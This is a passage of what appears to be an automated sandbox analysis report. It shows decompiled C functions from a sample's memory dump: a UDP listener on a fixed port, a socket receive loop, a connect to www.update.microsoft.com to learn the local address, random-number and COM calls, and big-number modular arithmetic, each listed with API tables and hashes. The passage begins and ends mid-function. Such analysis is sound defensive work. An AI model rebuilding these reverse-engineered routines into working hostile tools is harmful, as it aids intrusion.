					E0040DD00(_t31, _t38);
					return 0;
				}
			}

0x0040d8a0
0x0040d8a0
0x0040d8a8
0x0040d994
0x0040d8b6
0x0040d8c5
0x0040d8cb
0x0040d8d1
0x0040d8d8
0x0040d8e4
0x0040d8e7
0x0040d8ed
0x0040d8f3
0x0040d8f5
0x0040d8fa
0x0040d8fa
0x0040d8fe
0x0040d98e
0x00000000
0x0040d990
0x0040d906
0x0040d90a
0x0040d90e
0x0040d912
0x0040d917
0x0040d921
0x0040d925
0x0040d92a
0x0040d939
0x0040d93e
0x0040d943
0x0040d94c
0x0040d95d
0x0040d966
0x0040d982
0x0040d98b
0x00000000
0x0040d98b
0x0040d968
0x0040d973
0x0040d973

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0040D8D8
socket.WS2_32(00000002,00000002,00000011), ref: 0040D8E7
htons.WS2_32(00009E34), ref: 0040D92A
setsockopt.WS2_32(?,0000FFFF), ref: 0040D94C
bind.WS2_32(?,00000004,00000010), ref: 0040D95D

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040D985

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction ID: 030b81ab5cfdece744e4193ec97e607ba68bdf4ca273294f478105adee985cb3
Opcode Fuzzy Hash: 05ebf89ae4aef0f9de86e26819af3cc3888251010e7b9e55e68cfc395c831c9e
Instruction Fuzzy Hash: A721A1B4A44301AFE710DFA48C8AB577AA0EF44710F50857AFA54DA2C1D7F4C9488B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

0x0040b549
0x0040b550
0x0040b55b
0x0040b55b
0x0040b561
0x0040b564
0x0040b564
0x0040b574
0x0040b578
0x0040b581
0x00000000
0x00000000
0x0040b589
0x0040b591
0x0040b59e
0x0040b593
0x0040b596
0x0040b596
0x0040b5ab
0x0040b5af
0x0040b5b5
0x0040b5bc
0x0040b5c2
0x0040b5cd
0x0040b5cd
0x0040b5d6
0x0040b5df
0x0040b5df
0x0040b5bc
0x0040b5e4
0x0040b5f3
0x0040b5ff
0x0040b60b
0x00000000
0x00000000
0x00000000
0x0040b5f3
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409540() {
				intOrPtr _v8;
				short _v10;
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _v30;
				short _v34;
				short _v38;
				intOrPtr _v40;
				short _v42;
				char _v44;
				char _v48;
				intOrPtr _t28;
				char* _t30;

				_v8 = 0xffffffff;
				_v24 = 0;
				_v22 = 0;
				_v18 = 0;
				_v14 = 0;
				_v10 = 0;
				_v24 = 2;
				__imp__#9(0x50);
				_v22 = 0;
				_t28 = E00409500("www.update.microsoft.com");
				_v20 = _t28;
				__imp__#23(2, 1, 0);
				_v28 = _t28;
				if(_v28 != 0xffffffff) {
					_t30 =  &_v24;
					__imp__#4(_v28, _t30, 0x10);
					if(_t30 == 0) {
						_v44 = 0;
						_v42 = 0;
						_v38 = 0;
						_v34 = 0;
						_v30 = 0;
						_v48 = 0x10;
						__imp__#6(_v28,  &_v44,  &_v48);
						_v8 = _v40;
					}
					E00409600(_v28);
				}
				return _v8;
			}

0x00409546
0x0040954f
0x00409555
0x00409558
0x0040955b
0x0040955e
0x00409567
0x0040956d
0x00409573
0x0040957c
0x00409584
0x0040958d
0x00409593
0x0040959a
0x0040959e
0x004095a6
0x004095ae
0x004095b2
0x004095b8
0x004095bb
0x004095be
0x004095c1
0x004095c5
0x004095d8
0x004095e1
0x004095e1
0x004095e8
0x004095ed
0x004095f6

APIs

htons.WS2_32(00000050), ref: 0040956D

Part of subcall function 00409500: inet_addr.WS2_32(00409581), ref: 0040950A
Part of subcall function 00409500: gethostbyname.WS2_32(?), ref: 0040951D

socket.WS2_32(00000002,00000001,00000000), ref: 0040958D
connect.WS2_32(000000FF,?,00000010), ref: 004095A6
getsockname.WS2_32(000000FF,?,00000010), ref: 004095D8

Strings

www.update.microsoft.com, xrefs: 00409577

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction ID: 389a469d72f566baadd69971dc4dec0fd14d74987819c9d890e36e211f91e18c
Opcode Fuzzy Hash: 2dec295092395f23a9cc8e75f3d945b5eddd047bf9da38ba452b3522f7f48efc
Instruction Fuzzy Hash: FD210EB5D14309ABCB04DFE4D846AEFBBB4AF48310F108169E505F3390E7745A44CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040A870 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A870(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406545
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406545
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406545
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}

0x0040a87f
0x0040a87f
0x0040a883
0x0040a88b
0x0040a895
0x0040a899
0x0040a8a1
0x00000000
0x0040a8a5
0x0040a8ae

APIs

CryptAcquireContextW.ADVAPI32(Ee@,00000000,00000000,00000001,F0000040,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A883
CryptGenRandom.ADVAPI32(Ee@,?,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A899
CryptReleaseContext.ADVAPI32(Ee@,00000000,?,?,0040A8C9,Ee@,00000004,?,?,0040A8FE,000000FF), ref: 0040A8A5

Strings

Ee@, xrefs: 0040A87F, 0040A895, 0040A8A1, 0040A882, 0040A898, 0040A8A4

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID: Ee@
API String ID: 1815803762-3880142923
Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction ID: 1edff0947e8a0bec857b7d5bc171d56b6abde249d8757a471d495e886690916f
Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
Instruction Fuzzy Hash: 47E01275650308FBDB14DBD1EC49F9A777CAB48740F108154B709A7284DAB5EA408768

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD70 Relevance: 6.1, APIs: 4, Instructions: 59
networkthreadCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DD70(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E00408B00(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DD00(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040DAD0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DD00(_t24, _t27);
						return 0;
					}
				}
			}

0x0040dd70
0x0040dd82
0x0040dd88
0x0040dd8e
0x0040dd95
0x0040dda1
0x0040dda4
0x0040ddaa
0x0040ddb0
0x0040ddb2
0x0040ddb7
0x0040ddb7
0x0040ddbb
0x0040de1a
0x0040de20
0x0040ddbd
0x0040ddbf
0x0040ddc3
0x0040ddc7
0x0040ddcb
0x0040dddb
0x0040dde5
0x0040ddee
0x0040de0e
0x0040de17
0x00000000
0x0040ddf0
0x0040ddf0
0x0040ddfb
0x0040ddfb
0x0040ddee

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BF1E,00000000), ref: 0040DD95
socket.WS2_32(00000002,00000002,00000011), ref: 0040DDA4
bind.WS2_32(?,?,00000010), ref: 0040DDE5

Part of subcall function 0040DD00: SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
Part of subcall function 0040DD00: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
Part of subcall function 0040DD00: CloseHandle.KERNEL32(?), ref: 0040DD27

CreateThread.KERNEL32(00000000,00000000,0040DAD0,00000000,00000000,00000000), ref: 0040DE11

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction ID: a1f51b83e62fd1e5ac6bfc854ac0cad300f812e19a803ea918e078540f5b95b0
Opcode Fuzzy Hash: a272f706d971db141aade7e541e5b093828ed65ab25b051faa62c99c8275b329
Instruction Fuzzy Hash: 9611C870A40300AFE7009FB49C86B577AA0EF44710F50897AFA08DE2D1D2F4D8488756

Uniqueness

Uniqueness Score: -1.00%

Function 0040C000 Relevance: 4.6, APIs: 3, Instructions: 89
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E0040C000(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				short _v20;
				intOrPtr _t36;

				_v12 = 0;
				_t36 = E00403FB0(_a4, 0, 0);
				_v8 = _t36;
				if(_v8 != 0) {
					__imp__#2(_v8);
					_v16 = _t36;
					if(_v16 != 0) {
						__imp__CoCreateInstance(0x410318, 0, 0x4401, 0x410308,  &_v12);
						if(_v12 != 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0xfc))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x120))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x118))))(_v12, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x110))))(_v12, 0xffffffff);
							_push( &_v20);
							_push(_v16);
							_push(_v12);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x104))))() != 0 || _v20 != 0xffffffff) {
								 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
								_v12 = 0;
							}
						}
						__imp__#6(_v16);
					}
					E00408C70(_v8);
				}
				return _v12;
			}

0x0040c006
0x0040c015
0x0040c01d
0x0040c024
0x0040c02e
0x0040c034
0x0040c03b
0x0040c056
0x0040c060
0x0040c077
0x0040c08a
0x0040c09d
0x0040c0b0
0x0040c0b5
0x0040c0b9
0x0040c0c2
0x0040c0cd
0x0040c0e4
0x0040c0e6
0x0040c0e6
0x0040c0cd
0x0040c0f1
0x0040c0f1
0x0040c0fb
0x0040c100
0x0040c109

APIs

Part of subcall function 00403FB0: lstrlenA.KERNEL32(00000000), ref: 00403FC7

SysAllocString.OLEAUT32(00000000), ref: 0040C02E
CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeInstancelstrlen
String ID:
API String ID: 2697797874-0
Opcode ID: 3a0839df27600a78392ff93aabca5e88202ddba1a11ed3d88e78accca3d23463
Instruction ID: 20a4abcab3aa1e453c28a64226875db30f5cadca032c4d12d083da261cb1894b
Opcode Fuzzy Hash: 3a0839df27600a78392ff93aabca5e88202ddba1a11ed3d88e78accca3d23463
Instruction Fuzzy Hash: E9310075A40208EFDB04DB94C895FEEB775AF48700F1082A8E515AB3E0D775AE81CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE60 Relevance: 3.0, APIs: 2, Instructions: 15
timenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BE60() {
				void* _v12;
				char _v16;

				NtQuerySystemTime( &_v12);
				__imp__RtlTimeToSecondsSince1980( &_v12,  &_v16);
				return _v16;
			}

0x0040be6a
0x0040be78
0x0040be84

APIs

NtQuerySystemTime.NTDLL ref: 0040BE6A
RtlTimeToSecondsSince1980.NTDLL ref: 0040BE78

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Time$QuerySecondsSince1980System
String ID:
API String ID: 1987401769-0
Opcode ID: 455ee2c5fbbf567fcd4195f9b58f1b2e88d94abc591c6772a18d5419c0166664
Instruction ID: 61a43f963703ead5740a67a36a46c65e70a796bd6fb3fa65a83a1f3e4532f8ca
Opcode Fuzzy Hash: 455ee2c5fbbf567fcd4195f9b58f1b2e88d94abc591c6772a18d5419c0166664
Instruction Fuzzy Hash: 04D09E7DD0120DABCB00DBE4E9898DDB77CEA44201F0085D5ED1592140EA7466588B95

Uniqueness

Uniqueness Score: -1.00%

Function 00402E90 Relevance: 1.7, Strings: 1, Instructions: 488
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 72%

			E00402E90(void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, signed int _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v580;
				unsigned int _v584;
				signed int _v588;
				intOrPtr _v592;
				intOrPtr _t249;
				signed int _t260;
				signed int _t282;
				signed int _t302;
				signed int _t311;
				signed int _t317;
				signed int _t329;
				signed int _t334;
				signed int _t370;
				unsigned int _t377;
				signed int _t389;
				signed int _t416;
				signed int _t425;
				signed int _t433;
				unsigned int _t441;
				signed int _t443;
				signed int _t445;
				signed int _t446;
				signed int _t448;
				signed int _t449;
				void* _t463;
				void* _t464;
				void* _t465;
				void* _t470;
				void* _t471;
				void* _t472;
				void* _t477;

				_t341 = _a12;
				_t249 = E00402290(_a12, _a20);
				_t465 = _t464 + 8;
				_v592 = _t249;
				if(_v592 != 0) {
					__eflags = _v592 - 1;
					if(_v592 != 1) {
						_v28 = 0;
						while(1) {
							__eflags = _v28 - 8;
							if(_v28 >= 8) {
								break;
							}
							__eflags = _v28 - 0x20;
							if(_v28 >= 0x20) {
								break;
							}
							_t341 = _v28;
							__eflags =  *((intOrPtr*)(0x41634c + _t341 * 4)) - _v592;
							if( *((intOrPtr*)(0x41634c + _t341 * 4)) <= _v592) {
								_t334 = _v28 + 1;
								__eflags = _t334;
								_v28 = _t334;
								continue;
							}
							break;
						}
						__eflags = _v28 - 1;
						if(__eflags > 0) {
							_v44 = _a20 << 1;
							_v48 = E00401400(_t341, _v44);
							_v52 = E00401400(_v44, _v44);
							_v20 = E00401400(_v44, _v44);
							_v16 = E00401400(_v44, _v44);
							_v580 = _a8;
							E00402950(_v580, __eflags, _v20, _v580, _v580, _a16, _a20);
							_t470 = _t465 + 0x24;
							_v64 = 1 << _v28 - 1;
							_v24 = 1;
							while(1) {
								_t347 = _v24;
								__eflags = _v24 - _v64;
								if(_v24 >= _v64) {
									break;
								}
								 *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)) = E00401400(_t347, _v44);
								E00402310( *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)),  *((intOrPtr*)(_t463 + _v24 * 4 - 0x244)), _a20);
								_t477 = _t470 + 0x10;
								do {
									E00401960(_v48, _v20,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _a20);
									E00401BD0(__eflags, _v52,  *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v48, _a20 << 1, _a16, _a20);
									_t477 = _t477 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								_t329 = _v24 + 1;
								__eflags = _t329;
								_v24 = _t329;
							}
							_v56 = 1;
							_t260 = E00402250(_a12, _a20);
							_t471 = _t470 + 8;
							_v588 = _t260;
							_v40 = 0x80000000;
							while(1) {
								__eflags = _v40;
								if(_v40 <= 0) {
									break;
								}
								_t449 = _v588;
								_t317 = _a12;
								__eflags =  *(_t317 + _t449 * 4 - 4) & _v40;
								if(( *(_t317 + _t449 * 4 - 4) & _v40) == 0) {
									_t389 = _v40 >> 1;
									__eflags = _t389;
									_v40 = _t389;
									continue;
								}
								break;
							}
							_v12 = 0;
							_v8 = 0;
							_v36 = 0;
							while(1) {
								__eflags = _v588;
								if(_v588 == 0) {
									break;
								}
								__eflags = _v56;
								if(_v56 != 0) {
									L29:
									__eflags = _v8;
									if(_v8 != 0) {
										__eflags = _v12;
										if(_v12 > 0) {
											_t433 = _v12 - 1;
											__eflags = _t433;
											_v12 = _t433;
										}
										L52:
										__eflags = _v8;
										if(_v8 == 0) {
											do {
												L58:
												__eflags = _v40 - 1;
												if(_v40 != 1) {
													_t425 = _v40 >> 1;
													__eflags = _t425;
													_v40 = _t425;
												} else {
													_v40 = 0x80000000;
													_v588 = _v588 - 1;
												}
												__eflags = 0;
											} while (0 != 0);
											continue;
										}
										__eflags = _v12 - 1;
										if(_v12 >= 1) {
											goto L58;
										}
										__eflags = _v56;
										if(_v56 == 0) {
											do {
												E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
												E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
												_t471 = _t471 + 0x28;
												__eflags = 0;
											} while (0 != 0);
											L57:
											_v8 = 0;
											_v12 = 0;
											goto L58;
										}
										E00402310(_v36, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
										_t471 = _t471 + 0xc;
										_v56 = 0;
										goto L57;
									}
									_t302 = _v588;
									_t370 = _a12;
									__eflags =  *(_t370 + _t302 * 4 - 4) & _v40;
									if(( *(_t370 + _t302 * 4 - 4) & _v40) == 0) {
										L49:
										goto L52;
									}
									_v8 = 1;
									_v60 = _v40;
									_v32 = _v588;
									_v584 = 1;
									_v24 = 0;
									while(1) {
										__eflags = _v24 - _v28 - 1;
										if(_v24 >= _v28 - 1) {
											break;
										} else {
											goto L34;
										}
										do {
											L34:
											__eflags = _v60 - 1;
											if(_v60 != 1) {
												_t443 = _v60 >> 1;
												__eflags = _t443;
												_v60 = _t443;
											} else {
												_v60 = 0x80000000;
												_v32 = _v32 - 1;
											}
											__eflags = 0;
										} while (0 != 0);
										_v584 = _v584 << 1;
										__eflags = _v32;
										if(_v32 != 0) {
											_t446 = _v32;
											_t311 = _a12;
											__eflags =  *(_t311 + _t446 * 4 - 4) & _v60;
											if(( *(_t311 + _t446 * 4 - 4) & _v60) != 0) {
												_t448 = _v584 | 0x00000001;
												__eflags = _t448;
												_v584 = _t448;
											}
										}
										_t445 = _v24 + 1;
										__eflags = _t445;
										_v24 = _t445;
									}
									_v12 = _v28 - 1;
									while(1) {
										__eflags = _v12;
										if(_v12 <= 0) {
											break;
										}
										__eflags = _v584 & 0x00000001;
										if((_v584 & 0x00000001) == 0) {
											_v12 = _v12 - 1;
											_t441 = _v584 >> 1;
											__eflags = _t441;
											_v584 = _t441;
											continue;
										}
										break;
									}
									_t377 = _v584 >> 1;
									__eflags = _t377;
									_v36 = _t377;
									goto L49;
								} else {
									goto L28;
								}
								do {
									L28:
									E00401F80(_v48, _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x24;
									__eflags = 0;
								} while (0 != 0);
								goto L29;
							}
							__eflags = _v8;
							if(_v8 == 0) {
								L67:
								E00402310(_a4, _a4, _v16, _a20);
								_t472 = _t471 + 0xc;
								do {
									__eflags = _v16;
									if(_v16 != 0) {
										E00402350(_v16, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v16);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v20;
									if(_v20 != 0) {
										E00402350(_v20, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v20);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v48;
									if(_v48 != 0) {
										E00402350(_v48, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v48);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								do {
									__eflags = _v52;
									if(_v52 != 0) {
										E00402350(_v52, _v44);
										_t472 = _t472 + 8;
									}
									E00401430( &_v52);
									_t472 = _t472 + 4;
									__eflags = 0;
								} while (0 != 0);
								_v24 = 1;
								while(1) {
									__eflags = _v24 - _v64;
									if(_v24 >= _v64) {
										break;
									} else {
										goto L83;
									}
									do {
										L83:
										_t416 = _v24;
										__eflags =  *(_t463 + _t416 * 4 - 0x240);
										if( *(_t463 + _t416 * 4 - 0x240) != 0) {
											E00402350( *((intOrPtr*)(_t463 + _v24 * 4 - 0x240)), _v44);
											_t472 = _t472 + 8;
										}
										E00401430(_t463 + _v24 * 4 - 0x240);
										_t472 = _t472 + 4;
										__eflags = 0;
									} while (0 != 0);
									_t282 = _v24 + 1;
									__eflags = _t282;
									_v24 = _t282;
								}
								__eflags = 0;
								return 0;
							}
							__eflags = _v56;
							if(_v56 == 0) {
								do {
									E00401960(_v48,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _v16, _a20);
									E00401BD0(__eflags, _v52, _v16, _v48, _a20 << 1, _a16, _a20);
									_t471 = _t471 + 0x28;
									__eflags = 0;
								} while (0 != 0);
								goto L67;
							}
							E00402310(_v16, _v16,  *((intOrPtr*)(_t463 + _v36 * 4 - 0x240)), _a20);
							_t471 = _t471 + 0xc;
							_v56 = 0;
							goto L67;
						}
						return E00402A00(__eflags, _a4, _a8, _a12, _a16, _a20);
					}
					E00402880(_a4, _a8, _a20, _a16, _a20);
					return 1;
				}
				E00402390(_t341, _a4, 1, _a20);
				return 1;
			}

0x00402e9d
0x00402ea1
0x00402ea6
0x00402ea9
0x00402eb6
0x00402ed4
0x00402edb
0x00402f03
0x00402f15
0x00402f15
0x00402f19
0x00000000
0x00000000
0x00402f1b
0x00402f1f
0x00000000
0x00000000
0x00402f21
0x00402f2b
0x00402f31
0x00402f0f
0x00402f0f
0x00402f12
0x00000000
0x00402f12
0x00000000
0x00402f33
0x00402f37
0x00402f3b
0x00402f63
0x00402f72
